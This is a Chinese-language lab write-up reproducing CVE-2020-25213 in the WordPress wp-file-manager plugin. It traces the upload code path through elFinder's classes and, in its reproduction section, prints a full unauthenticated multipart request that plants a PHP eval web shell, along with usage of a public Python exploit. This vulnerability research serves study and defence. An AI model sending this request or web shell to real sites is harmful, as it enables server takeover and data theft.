漏洞介绍

WordPress是一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。而WordPress的文件管理器插件(wp-file-manager)6.9版本之前存在安全漏洞,该漏洞允许远程攻击者上传和执行任意PHP代码。

漏洞范围

WordPress 文件管理器(wp-file-manager)插件 6.0-6.8 版本

漏洞靶场

本次复现使用wp-file-manager 6.0版本

插件下载https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip

使用CVE-2024-4439的docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
version: '3.8'

services:
db:
image: mysql:5.7
container_name: wordpress_db
environment:
MYSQL_ROOT_PASSWORD: root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress_user
MYSQL_PASSWORD: wordpress_password
volumes:
- db_data:/var/lib/mysql
networks:
- wordpress_network

wordpress:
image: wordpress:6.4.3
container_name: wordpress_app
depends_on:
- db
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wordpress_user
WORDPRESS_DB_PASSWORD: wordpress_password
WORDPRESS_DEBUG: "true"
volumes:
- wordpress_data:/var/www/html
- ./plugins:/var/www/html/wp-content/plugins
networks:
- wordpress_network

volumes:
db_data:
wordpress_data:

networks:
wordpress_network:

把插件解压到plugins里面,该目录会挂载到容器内的插件目录

http://127.0.0.1:8080/wp-admin/plugins.php内,把该插件启用一下

image-20241122213004822

漏洞原理

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

1
2
3
4
5
6
7
8
9
protected function _save($fp, $dir, $name, $stat)
{
$path = $this->_joinPath($dir, $name);

$meta = stream_get_meta_data($fp);
$uri = isset($meta['uri']) ? $meta['uri'] : '';
if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
...
if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {

wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php#L1018-L1044

uri=meta[‘uri’],meta取决于fp

1
2
3
4
5
<?php
// stream_get_meta_data语法示例
$fp = fopen('d:/flag.txt', 'r');
$meta = stream_get_meta_data($fp);
echo $meta['uri']; // d:/flag.txt

path是dir.

这样如果 fp打开的一句话木马,并且path 为可访问 WEB路径,就可以 GetShell

elFinderVolumeDriver类

elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法

1
2
3
protected function saveCE($fp, $dir, $name, $stat)
{
$res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));

wp-file-manager/lib/php/elFinderVolumeDriver.class.php#L3821-L3828

elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法

1
2
3
4
5
6
public function upload($fp, $dst, $name, $tmpname, $hashes = array())
{
...
$dstpath = $this->decode($dst);
...
if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {

wp-file-manager/lib/php/elFinderVolumeDriver.class.php#L2438-L2523

dstpath和name 代表 copy 到的路径,dstpath取决于dst

查看 decode方法

1
2
3
4
5
6
7
8
protected function decode($hash)
{
if (strpos($hash, $this->id) === 0) {
...
return $this->abspathCE($path);
}
return '';
}

wp-file-manager/lib/php/elFinderVolumeDriver.class.php#L3925-L3942

可以看出需要正确的 id 才能得到路径

elFinder类

在 elFinder类 的构造方法可以看到使用了 id

1
2
3
4
5
public function __construct($opts)
{
...
if ($volume->mount($o)) {
$id = $volume->id();

在下面添加:

1
2
ob_end_flush();
var_dump($id);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id

1
2
3
string(3) "l1_"
string(3) "t1_"
{"error":["errUnknownCmd"]}

其中 l1_ 是可以用的,也就是 $dst 要为 l1_

elFinder类

elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类

elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法

1
2
3
4
protected function upload($args)
{
...
if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

wp-file-manager/lib/php/elFinder.class.php#L3167-L3432

其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法

1
2
3
4
public function __construct($opts)
{
...
$volume = new $class();

wp-file-manager/lib/php/elFinder.class.php#L541-L813

在下面添加:

1
2
ob_end_flush();
var_dump($volume);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象

1
2
object(elFinderVolumeLocalFileSystem)#4 (61) {
...

再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function upload($args)
{
...
$target = $args['target'];
...
$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
...
foreach ($files['name'] as $i => $name) {
...
$tmpname = $files['tmp_name'][$i];
...
if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {
...
if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

wp-file-manager/lib/php/elFinder.class.php#L3167-L3472

可以看出来都存在 $args 中

elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法

1
2
3
public function exec($cmd, $args)
{
$result = $this->$cmd($args);

wp-file-manager/lib/php/elFinder.class.php#L1068-L1311

如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了

elFinderConnector类

elFinderConnector类 的 run方法 调用了 exec方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function run()
{
...
$src = $isPost ? array_merge($_GET, $_POST) : $_GET;
...
$cmd = isset($src['cmd']) ? $src['cmd'] : '';
...
foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
...
$arg = isset($src[$name]) ? $src[$name] : '';
...
$args[$name] = $arg;
}
...
$args['FILES'] = $_FILES;
...
$this->output($this->elFinder->exec($cmd, $args));

wp-file-manager/lib/php/elFinderConnector.class.php#L71-L172

可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法

当同时上传文件时,$args[‘FILES’] 将存储上传的文件的信息

elFinder类

在 elFinder类 可以看到 commandArgsList方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected $commands = array(
...
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
...

public function commandArgsList($cmd)
{
if ($this->commandExists($cmd)) {
$list = $this->commands[$cmd];
$list['reqid'] = false;
} else {
$list = array();
}
return $list;
}

wp-file-manager/lib/php/elFinder.class.php#L1031-L1040

思路回到 elFinderConnector类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args[‘target’] 将等于 l1_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
array(18) {
["target"]=>
string(3) "l1_"
...
["FILES"]=>
array(1) {
["upload"]=>
array(5) {
["name"]=>
array(1) {
[0]=>
string(9) "shell.php"
}
...
["tmp_name"]=>
array(1) {
[0]=>
string(22) "C:\Windows\php147A.tmp"

思路回到 elFinderVolumeLocalFileSystem类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径

connector.minimal.php

connector.minimal.php 调用了 run方法

1
2
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

wp-file-manager/lib/php/connector.minimal.php#L177-L178

elFinderVolumeLocalFileSystem类

在 path=this->_joinPath(dir,name); 下面添加:

1
2
ob_end_flush();
var_dump($path);

提交复现中的请求包,可以看到响应的一句话木马路径:…/wp-content/plugins/wp-file-manager/lib/files/shell.php

漏洞复现

浏览器访问http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

出现下面到的errUnknownCmd说明漏洞存在

image-20241122213104684

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b

--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"

upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"

l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

上传一句话木马成功了之后

image-20241122214038586

连接成功

使用exp

BLY-Coder/Python-exploit-CVE-2020-25213: Python exploit for RCE in Wordpress (github.com)

1
2
python3 exploit.py url command
python3 exploit.py http://wordpressite.com/ id

image-20241125161313221

成功

参考

CVE-2020-25213 WordPress远程代码执行漏洞复现 - Salvere - 博客园 (cnblogs.com)

WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213-腾讯云开发者社区-腾讯云 (tencent.com)